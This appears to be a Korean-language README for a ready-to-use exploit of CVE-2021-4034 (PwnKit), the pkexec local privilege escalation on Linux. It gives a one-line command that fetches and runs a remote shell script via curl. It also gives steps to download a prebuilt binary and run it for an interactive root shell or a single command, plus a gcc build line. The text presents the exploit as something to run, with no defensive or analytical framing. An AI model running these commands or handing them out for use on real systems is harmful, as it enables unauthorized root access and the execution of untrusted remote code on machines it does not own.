
CVE-2021-4034 (PwnKit)를 대상으로 하는 자체 포함된 C 익스플로잇으로, 취약한 Linux 배포판에서 pkexec 로컬 권한 상승을 목표로 합니다. 원라인 curl 실행 및 수동 바이너리 배포를 제공합니다.
CVE-2021-4034를 위한 자체 포함 익스플로잇 - Pkexec 로컬 권한 상승
Ubuntu, Debian, Fedora, CentOS 기반의 취약한 Linux 배포판에서 즉시 작동해야 합니다.
sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
chmod +x ./PwnKit
./PwnKit # interactive shell
./PwnKit 'id' # single command
패치된 버전에서 익스플로잇을 실행하면 다음과 같은 출력이 나타납니다.
gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC